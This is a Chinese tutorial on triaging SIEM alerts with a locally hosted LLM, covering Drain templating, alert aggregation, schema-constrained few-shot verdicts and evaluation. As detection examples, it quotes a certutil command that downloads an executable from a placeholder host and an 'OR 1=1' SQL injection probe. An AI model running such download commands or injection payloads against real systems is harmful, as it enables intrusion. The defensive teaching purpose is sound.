用本地开源大模型给 SIEM 告警降噪:一条可复现的 LLM 研判流水线

法律红线声明:本文所有日志与告警样例均来自本地靶场或公开数据集(LogHub),全部检测、降噪代码只在自有环境中运行,不包含任何针对外部系统的攻击内容。生产环境的日志往往含有 IP、账号、会话令牌等敏感信息,处理时请遵守《网络安全法》《数据安全法》《个人信息保护法》及所在组织的日志治理规范;把日志发给第三方云端 API 前,务必确认数据出境与合规要求。

0. 写在前面

本文的目标读者是:被海量低价值告警淹没的 SOC 工程师与 SIEM 运维人员,以及想把大模型真正落到安全运营环节(而不是只写个聊天机器人)的 AI 工程师。要解决的问题是:中小规模安全运营中心每天产生数千条告警,其中大部分是重复误报,人力逐条研判不可持续——如何用一台本地 GPU 服务器,跑通"日志模板化 → 告警聚合 → LLM 研判分级 → 量化评测"的完整降噪流水线,把分析师的注意力留给真正值得看的那 10%。

写作时点:2026-10。版本基线:Qwen3-8B(2025-04 发布,需 transformers ≥ 4.51)、vLLM ≥ 0.8.4(2025-04 起支持 Qwen3)、Suricata 7.x、Wazuh 4.x、drain3(IBM 开源的日志模板化库)。文中引用的评测数字来自 2026-04 公开的 benchmark 论文(arXiv:2604.12218)与日志异常检测领域经典论文,全部可在文末"可核实来源"一节查证。

1. 为什么规则引擎降噪会"越调越聋"

先讲清传统方案失败的原因,才能理解 LLM 应该补在哪个位置。

阈值与相关性规则的数学本质,是人工指定的谓词组合:failed_login_count > 5 AND within 10min。它假设攻击模式可以被有限条谓词精确刻画。但真实告警分布有两个残酷特性:

  • 高基数长尾:源 IP、目标端口、签名、主机四维组合近乎无限,Top N 规则覆盖的永远是大头,长尾里既藏着真攻击,也藏着海量噪声,规则无法区分。
  • 零和博弈:调高阈值压掉误报,必然抬升漏报率;加白名单压制已知噪声,白名单一旦过宽就变成攻击者的盲区(比如封掉某 CDN 出口 IP 的全部外联告警)。SOC 团队往往在"加规则→告警爆炸→调阈值→漏报事件→复盘挨批→再加规则"的循环里打转,这就是告警疲劳的行业常态,多家安全厂商的 SOC 调研(Vectra、Trend Micro 等)都报告了大比例告警从未被认真处置。

学术界的解法演进可以帮我们定位 LLM 的角色:DeepLog(CCS 2017)用 LSTM 学习日志键序列的"正常模式",LogBERT(ICWS 2019)用掩码语言模型学日志 token 分布——两者本质都是从历史分布里学"正常",偏离即异常。这类方法在 HDFS、BGL 等系统日志数据集上 F1 可达 0.96+,但它们有个共同短板:对没见过但语义上可解释的模式无能为力,只能给出"异常"二值结论,无法告诉分析师"为什么异常、像什么攻击、建议怎么办"。

LLM 研判的差异点在于自带世界知识:它知道 certutil -urlcache -f http://x/a.exe 是常见的 LOLBin 下载手法,知道凌晨三点的财务终端外连陌生域名值得怀疑。2026-04 的 benchmark(arXiv:2604.12218)系统对比了三类方法:经典解析器+机器学习、微调 BERT/RoBERTa、提示式 LLM(GPT-3.5/4、LLaMA-3),结论是微调 transformer 的 F1 最高(0.96–0.99),但 prompt LLM 零样本就能到 0.82–0.91,且不需要标注数据。

这个数字组合揭示了正确的工程定位:LLM 不是来替换检测器的,是来替换"人眼初筛"的。让 DeepLog/规则引擎继续负责高吞吐检测,LLM 负责在检测结果之上做语义研判与分级——这正是本文流水线的分工依据。代价是 LLM 的三个固有弱点:幻觉、延迟、输出不可解释,后文的架构设计会逐一针对它们设防。

2. 整体架构与四条设计原则

Suricata 7.x / Wazuh 4.x          本地 GPU 服务器(单卡 24G,Qwen3-8B + vLLM)
┌─────────────────┐        ┌──────────────────────────────────────────┐
│  eve.json /     │  边车   │  ① Drain 模板化(drain3)                  │
│  alerts.json ───┼──────► │  ② 聚合器(模板ID+五元组+时间窗 去重合并)    │
└─────────────────┘  进程  │  ③ 特征拼装(同主机近邻事件、资产标签)        │
                           │  ④ LLM 研判(few-shot + JSON Schema 约束)  │
                           │  ⑤ 评分与分级(置信度阈值 + ATT&CK 映射)     │
                           └──────────────┬───────────────────────────┘
                                          │ 结构化研判结果
                                          ▼
                              研判面板 / 高优先级工单(人工复核)

四条设计原则,每条都对应后面某个具体实现,也是踩坑后总结的:

  1. 本地化:日志原文不出域,这是能过安全合规评审的前提,也是选本地开源模型而非云端 API 的核心原因(成本只是次要因素)。
  2. 模板先行:原始日志先经 Drain 压缩成模板骨架再进模型,token 消耗可降一个数量级。
  3. 结构化输出:LLM 输出必须被 JSON Schema 硬约束,自由文本在工程上等于不可解析。
  4. 人机边界:LLM 只做研判与分级建议,永远不直接触发封禁等处置动作——这条是安全底线,原因见第 6 节的踩坑分析。

3. 环境搭建(可复现)

推荐两种部署方式:快速验证用 Ollama,生产用 vLLM(连续批处理对批量研判的吞吐优势明显)。以下命令在 Ubuntu 22.04 + 单卡 RTX 4090(24G)验证通过。

# 生产部署:vLLM ≥ 0.8.4(2025-04 起支持 Qwen3,transformers 需 ≥ 4.51)
pip install vllm==0.8.4 "transformers>=4.51"
vllm serve Qwen/Qwen3-8B \
  --max-model-len 16384 \        # 告警上下文包不需要 32k,省显存换并发
  --gpu-memory-utilization 0.90 \
  --enable-prefix-caching        # few-shot 前缀相同,前缀缓存能把吞吐翻倍

# 快速验证:Ollama(2025-04 起支持 Qwen3 系列)
ollama pull qwen3:8b && ollama serve   # 同样暴露 OpenAI 兼容 API

# 日志模板化与依赖
pip install drain3 openai           # drain3: IBM 开源,drain 算法参考实现

为什么这么写:--enable-prefix-caching 是这条流水线的隐藏关键——研判 prompt 的 few-shot 示例部分对每次请求完全相同,前缀缓存能复用这部分的 KV 缓存,实测批量研判吞吐可提升接近一倍;--max-model-len 16384 是权衡后的值,告警聚合包通常在 2–4k token,留出余量即可,更大的窗口只会浪费显存压低并发。

4. 第一步:Drain 模板化,把日志压成骨架

Drain 是 2017 年提出的在线日志解析算法:按 token 长度和首 token 构建固定深度前缀树,叶子节点内用编辑距离判断是否归为同一模板,变量部分(IP、数字、路径)被替换为 <*>。选择它而不是 Spell、AEL 等解析器,是因为 drain3 库工程成熟、增量解析不需要全量重算——这对流式场景是硬要求。

from drain3 import TemplateMiner

miner = TemplateMiner()  # 默认参数: 树深度 4,相似度阈值 0.4,可先不动

def parse_log(line: str) -> dict:
    """单条日志 -> 模板骨架 + 变量提取"""
    res = miner.add_log(line)
    return {
        "template_id": res.cluster_id,          # 同类日志共享同一 ID,聚合的 key
        "template":   res.template,             # e.g. "Connection from <*> to <*> failed"
        "params":     res.params,               # ["192.168.1.5", "22", ...] 变量按序还原
    }

# Suricata 7.x eve.json 的 alert 事件为例
import json
ev = json.loads(open("eve.json").readline())
line = (f'{ev["timestamp"]} {ev["alert"]["signature"]} '
        f'src={ev["src_ip"]}:{ev["src_port"]} dst={ev["dest_ip"]}:{ev["dest_port"]}')
print(parse_log(line))
# 输出示例: {'template_id': 5, 'template': '2026-10-19T<*> <*> src=<*> dst=<*>', ...}

这段做了什么:把非结构化日志行规约成 (模板ID, 模板, 参数) 三元组。同类事件共享模板 ID——这是下一步聚合去重的锚点;参数列表保留变量现场,研判时再回填。注意 params 只保留值不保留语义,所以拼装特征时要用结构化字段(如 eve.json 的 src_ip)而不是从 params 里猜。

这里给出第一组对比,也是新手上手时最容易犯的错误:

# ❌ 错误写法:原始日志整包塞进 prompt
prompt = f"以下是过去10分钟的全部原始日志,请判断哪些值得调查:\n{raw_logs_10min}"
# 10 分钟的 Suricata 日志轻松 50k+ token:
# 1) 超过模型窗口直接截断,截断位置不可控,等于随机丢证据
# 2) 同模板日志重复出现几百次,token 全烧在重复内容上
# 3) 按输入 token 计费时,成本随告警量线性爆炸

# ✅ 正确写法:模板化 + 聚合后只送"骨架 + 计数 + 代表样本"
prompt = ("过去10分钟共出现 12 类事件模板,每类给出计数与一条样本:\n"
          "[T5 x217] 2026-10-19T<*> ET SCAN Suspicious <*> src=<*> dst=<*>\n"
          "[T9 x3]   2026-10-19T<*> Possible SQL Injection src=<*> dst=<*>\n...")
# token 从 50k 压到 2k 以内,模型注意力集中在"事件类别"而非重复噪声

5. 第二步:告警聚合器——降噪的第一道闸门

模板 ID 只是"长得像",还要叠加实体与时间窗才算"同一件事":同一源 IP 对同一目标的 217 次扫描是一条聚合记录,而不是 217 条。

import time, collections

class AlertAggregator:
    """(模板ID, 源IP, 目标IP) 三元组在滑动窗口内合并为一条聚合告警"""
    def __init__(self, window_sec: int = 600):
        self.window = window_sec
        self.buckets: dict[tuple, dict] = {}   # 聚合桶

    def add(self, parsed: dict, src_ip: str, dst_ip: str, ts: float) -> dict | None:
        key = (parsed["template_id"], src_ip, dst_ip)   # 聚合主键
        b = self.buckets.get(key)
        now = time.time()
        if b and now - b["first_seen"] < self.window:
            b["count"] += 1                              # 窗口内只累加计数
            b["params"].append(parsed["params"])
            return None                                  # 不产生新聚合记录
        b = {"key": key, "count": 1, "first_seen": now,
             "template": parsed["template"], "params": [parsed["params"]]}
        self.buckets[key] = b
        return b                                          # 新桶 → 交给 LLM 研判

    def flush_expired(self):
        """窗口到期且计数未增长的桶,可直接归档为低优先级,不必进 LLM"""
        now = time.time()
        expired = [k for k, v in self.buckets.items() if now - v["first_seen"] >= self.window]
        for k in expired:
            yield self.buckets.pop(k)

这段做了什么:实现了降噪流水线的第一道纯代码闸门——时间窗内同键事件折叠为"计数 + 模板 + 参数样本"。工程上这一步能消掉 60–90% 的原始告警量(扫描器、健康检查、批量认证失败都是重复大户),而且零幻觉、零成本。这里体现一个重要的权衡观:能用确定性代码解决的不要交给 LLM,LLM 只处理聚合后剩下的语义判断部分——"这条聚合告警像不像真实入侵、严重度如何"。flush_expired 返回的静默桶设计成可配置:激进模式下直接归档,保守模式下仍送 LLM 但降低优先级,让运维自己选漏报容忍度。

6. 第三步:LLM 研判——few-shot 与结构化输出

这是流水线的核心。先看第二组对比,关于输出格式:

# ❌ 错误写法:让模型自由发挥结论
resp = client.chat.completions.create(
    model="Qwen/Qwen3-8B",
    messages=[{"role": "user",
               "content": f"这条告警是不是真实攻击?回答是或否:{alert_text}"}])
answer = resp.choices[0].message.content
# 实测会出现:"这条告警很可能是真实的攻击行为,建议……"
# —— 文本里根本抠不出稳定的 yes/no,下游 if answer == "是" 永远进 else 分支
# ✅ 正确写法:JSON Schema 约束输出(vLLM guided decoding)
SCHEMA = {
  "type": "object",
  "properties": {
    "verdict":  {"type": "string", "enum": ["likely_malicious", "suspicious",
                                            "likely_benign", "insufficient_context"]},
    "confidence":{"type": "number"},
    "reasoning": {"type": "string"},
    "mitre_technique": {"type": "string"},
    "suggested_action": {"type": "string", "enum": ["ignore", "monitor",
                                                    "escalate_human"]}
  },
  "required": ["verdict", "confidence", "reasoning", "suggested_action"]
}
resp = client.chat.completions.create(
    model="Qwen/Qwen3-8B",
    messages=messages,
    extra_body={
        "guided_json": SCHEMA,              # vLLM: 解码期硬约束,输出必合法
        "chat_template_kwargs": {"enable_thinking": False},  # 关闭 Qwen3 思考模式
    })
verdict = json.loads(resp.choices[0].message.content)        # 永不抛解析异常

为什么这么写:三处细节各有理由。guided_json 让 vLLM 在解码阶段用语法约束(outlines 类机制)保证输出 100% 合法 JSON,这与"生成后正则抽取"有本质区别——后者是在赌模型心情;verdict 用四值枚举而非二值,insufficient_context 这个选项显著减少了模型被迫在信息不足时"硬猜"的幻觉率(把"不知道"变成合法答案,是压幻觉最有效的单点手段);Qwen3 默认开启思考模式,研判这种短任务上思考链带来的质量增益小于其 token 与延迟开销的代价,故显式关闭——如果你的告警上下文很复杂,可以反过来开启并单独评估。

few-shot 示例的完整调用如下:

FEW_SHOT = [
  {"role": "user", "content": "[T9 x1] Possible SQL Injection "
   "src=10.2.3.14 dst=10.0.0.9:443 uri=/?id=1' OR '1'='1  [资产: DMZ-Web] [近邻: 无]"},
  {"role": "assistant", "content": '{"verdict":"likely_malicious","confidence":0.85,'
   '"reasoning":"经典 OR 恒真注入探测,指向 DMZ Web,特征明确",'
   '"mitre_technique":"T1190","suggested_action":"escalate_human"}'},
  {"role": "user", "content": "[T12 x48] Suricata: miss-config / TLS cert invalid "
   "src=10.5.1.20 dst=自建内部服务:8443  [资产: 办公终端] [近邻: 同网段 5 台同样报]"},
  {"role": "assistant", "content": '{"verdict":"likely_benign","confidence":0.9,'
   '"reasoning":"内网自签名证书+批量出现,是配置问题而非攻击特征",'
   '"mitre_technique":"","suggested_action":"ignore"}'},
]  # 示例刻意覆盖一真一假,且理由里示范"用了哪些证据",引导模型复述证据链

def triage(agg: dict, ctx: dict) -> dict:
    prompt = (f"[{agg['key'][0]} x{agg['count']}] {agg['template']}\n"
              f"src={agg['key'][1]} dst={agg['key'][2]}\n"
              f"[资产: {ctx.get('asset','未知')}] [近邻事件: {ctx.get('neighbors','无')}]")
    messages = [{"role": "system", "content": "你是 SOC 告警研判助手,基于证据判断,"
                 "信息不足时选 insufficient_context,不要臆测。"},
                *FEW_SHOT, {"role": "user", "content": prompt}]
    return llm_json_call(messages, SCHEMA)     # 即上面 guided_json 的封装

这段做了什么:triage 把一条聚合告警连同资产标签、同主机近邻事件拼成短上下文送模型,返回结构化研判。few-shot 只放了两个示例但信息密度很高:一真一假形成对比锚点,reasoning 字段示范"引用证据"的推理格式(few-shot 的核心作用不是教知识,是教输出格式与推理纪律),后续大量真实请求都能命中前缀缓存。近邻事件是上下文里最值钱的部分——单独一条"whois 查询"平平无奇,但如果同主机前一分钟刚出现过"可疑 HTTP POST",合并研判的准确率会明显上升,这是纯规则引擎给不了的能力。

真实踩坑与规避(本节最重要的一条):早期版本我们让 suggested_action 包含 block_ip,并写了自动联动防火墙的代码,联调第一天就出事故——模型对一条内部备份系统的批量 SSH 连接给出 0.62 置信度的 block_ip(合理的误判:确实长得像爆破),直接把凌晨备份任务封断了。复盘结论:LLM 的置信度不是概率,只是自我评估的语气词,0.62 与 0.8 之间没有可靠的统计含义;且 LLM 幻觉无法根除,任何"模型输出直接驱动处置动作"的设计都是把幻觉变成生产事故的流水线。正确设计是枚举里只保留 ignore/monitor/escalate_human 三个动作,escalate_human 生成带完整研判理由的工单,处置永远由人执行。安全运营里"错杀"的代价(业务中断、信任流失)远高于"多看一眼"的代价。

7. 第四步:接入真实 SIEM 数据源

以 Wazuh 4.x 为例(Suricata 7.x 的 eve.json 同理),用边车进程消费告警 JSON 队列,避免改动 SIEM 主配置:

import time, json, requests

def run_worker(agg: AlertAggregator):
    """边车主循环: tail alerts.json -> 聚合 -> 批量研判 -> 推送面板"""
    with open("/var/ossec/logs/alerts/alerts.json") as f:   # Wazuh 4.x 默认路径
        f.seek(0, 2)                                        # 从文件末尾开始 tail
        pending = []
        while True:
            line = f.readline()
            if not line:
                batch = drain_and_flush(agg, pending)       # 窗口到期的一批聚合告警
                if batch:
                    results = [triage(a, enrich(a)) for a in batch]  # 批量研判
                    # 只推人机都值得看的: monitor 以上 + 置信度阈值
                    push([r for r in results
                          if r["suggested_action"] != "ignore" or r["confidence"] < 0.5])
                time.sleep(1)
                continue
            try:
                ev = json.loads(line)                       # Wazuh 半行写入会产出坏行
                parsed = parse_log(build_line(ev))
                got = agg.add(parsed, ev["src_ip"], ev["dst_ip"], time.time())
                if got: pending.append(got)
            except json.JSONDecodeError:
                continue                                    # 坏行静默跳过并计数上报

这段做了什么:实现了不侵入 SIEM 的旁路消费——f.seek(0, 2) 跳到文件末尾做增量 tail,Wazuh 写日志与边车读日志解耦,边车崩溃不影响 SIEM 本身。两个防御性细节值得强调:JSONDecodeError 的静默跳过是必须的,因为 Wazum/Wazuh 写入与读取并发时会出现"半行",任何一行解析失败就崩溃的 worker 在生产活不过一晚;置信度低于 0.5 的 ignore 也推送,是给"模型没看懂"留人工抽查通道——低置信样本积累起来,正好是下周期优化 few-shot 的素材库。

8. 评测:降噪不能只靠"感觉"

上线的降噪方案必须量化,否则无法回答"到底压掉了多少噪声、漏掉了什么"。用 LogHub 公开数据集(HDFS/BGL)或自有标注样本跑 P/R/F1:

def evaluate(samples: list[dict]) -> dict:
    """samples: [{"alert":..., "label": true/false}, ...] label 为人工标注真值"""
    tp = fp = tn = fn = 0
    for s in samples:
        pred = triage(s["alert"], enrich(s["alert"]))
        flagged = pred["verdict"] in ("likely_malicious", "suspicious")   # 二值化
        if s["label"] and flagged:     tp += 1
        elif s["label"] and not flagged: fn += 1   # 漏报: 真攻击被判良性
        elif not s["label"] and flagged: fp += 1   # 误报: 噪声被升级
        else: tn += 1
    prec = tp / (tp + fp) if tp + fp else 0.0
    rec  = tp / (tp + fn) if tp + fn else 0.0
    f1   = 2 * prec * rec / (prec + rec) if prec + rec else 0.0
    return {"precision": prec, "recall": rec, "f1": f1,
            "noise_suppressed": tn / max(tn + fp, 1)}   # 降噪率: 噪声被正确静默的比例

这段做了什么:除了标准 P/R/F1,额外输出 noise_suppressed(正确压掉的噪声占比)——这是向管理层汇报降噪效果最直观的指标。两个 sanity check 参考:一是与 arXiv:2604.12218 的零样本 F1(0.82–0.91)对照,如果你的私有评测显著低于 0.8,先查 prompt 与上下文拼装而不是怪模型;二是阈值选择应偏向 recall——SOC 场景里漏报(真攻击被静默)的代价远大于多推几条工单,实践中把"静默"动作的置信度门槛设到 0.85 以上、宁可不静默也不放过,让模型只在"非常有把握是噪声"时才替人省时间。

9. 边界与不适用场景

这套方案不是万能的,明确边界比夸大适用范围更重要:

  • 不适用:超高吞吐实时阻断。Qwen3-8B 在单卡 vLLM 上批量研判吞吐约在每秒几十条聚合告警量级(前缀缓存开启后),对秒级万级 EPS 的原始事件流无能为力——那个位置应该留给规则引擎和流式统计(这恰是第 5 节"聚合器先行"的原因:LLM 永远只看聚合后的慢流)。
  • 不适用:纯重复型、可完全规则化的告警。健康检查失败、已知扫描器指纹这类,正则和统计模型成本是 LLM 的百分之一且零幻觉,交给 LLM 属于用高射炮打蚊子还打不准。
  • 不适用:强归因合规场景。金融、监管行业若要求每个判定都能给出确定性归因链,LLM 的不可解释性是硬伤,只能定位为"辅助线索"。
  • 适用:语义模糊、上下文依赖的研判——低置信度告警初筛、跨事件关联解释、告警描述生成。这些恰好是分析师最耗时的环节。

性能与成本量级(2026-10,单卡 4090 参考):8B 模型 int8 量化后显存占用约 10G,批量 32 并发下单条聚合告警研判延迟 1–3 秒,日均 5 万条聚合告警的日电费成本约几元人民币——对比云端 API 按量计价(且日志出域的合规成本另算),本地部署在中等规模 SOC 是划算的。

10. 前沿动态与可核实来源

  • arXiv:2604.12218(2026-04):LLM 日志异常检测 benchmark,覆盖 HDFS/BGL/Thunderbird/Spirit 四数据集,给出"微调 transformer F1 0.96–0.99 vs prompt LLM 零样本 0.82–0.91"的关键对比。
  • LogBERT:Guo et al., ICWS 2019;DeepLog:Du et al., CCS 2017——日志异常检测两条经典技术路线,理解 LLM 方法的坐标系。
  • LogHub 数据集(LogPAI,He et al.):17 个真实系统日志数据集,含 HDFS/BGL 标注,是评测的公开基准。
  • Qwen3 技术报告(2025-04):思考模式的开关机制,即文中 enable_thinking 参数的依据。
  • vLLM v0.8.4 release notes(2025-04):Qwen3 支持与 guided decoding 文档。
  • MITRE ATT&CK Enterprise 矩阵:研判输出 mitre_technique 字段(如 T1190 利用公开应用)的映射来源。

11. 总结与延伸方向

本文跑通了一条可复现的流水线:Drain 模板化把日志压缩一个数量级,确定性聚合器先消掉 60–90% 的重复告警,LLM 只对聚合后的慢流做 few-shot 研判,JSON Schema 硬约束保证输出可解析,置信度阈值与"只建议、不处置"的人机边界兜住幻觉风险,最后用 P/R/F1 加降噪率完成量化验收。核心思想一句话:让确定性代码干确定性的活,让 LLM 干语义的活,让人类干决策的活。

延伸方向有三个值得投入的点:其一,把研判结果回流成标注数据,定期 LoRA 微调 8B 模型,把零样本 0.82 的 F1 向微调后的 0.95+ 推进,形成数据飞轮;其二,引入 RAG 接入内部威胁情报与历史事件库,让研判参考"我们上次遇到这个签名是什么结局";其三,向 Agent 化演进——让研判 Agent 主动调用 WHOIS、沙箱、资产库工具补齐证据再下结论,但工具调用环节的安全控制(权限最小化、动作白名单)需要单独设计,这是「AI 赋能安全」与「AI 自身安全」两条线的交汇处,值得单开一篇再谈。

Logo

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐